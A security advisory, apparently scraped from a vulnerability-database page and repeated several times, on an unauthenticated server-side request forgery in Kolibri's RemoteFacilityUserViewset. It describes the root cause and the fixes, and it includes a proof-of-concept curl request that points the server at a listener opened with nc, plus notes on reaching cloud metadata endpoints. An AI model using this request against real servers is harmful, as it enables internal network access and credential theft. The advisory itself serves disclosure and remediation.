Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 20, 2021

0.14.6 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Jan 22, 2021

0.14.5 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 02, 2020

0.14.4 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

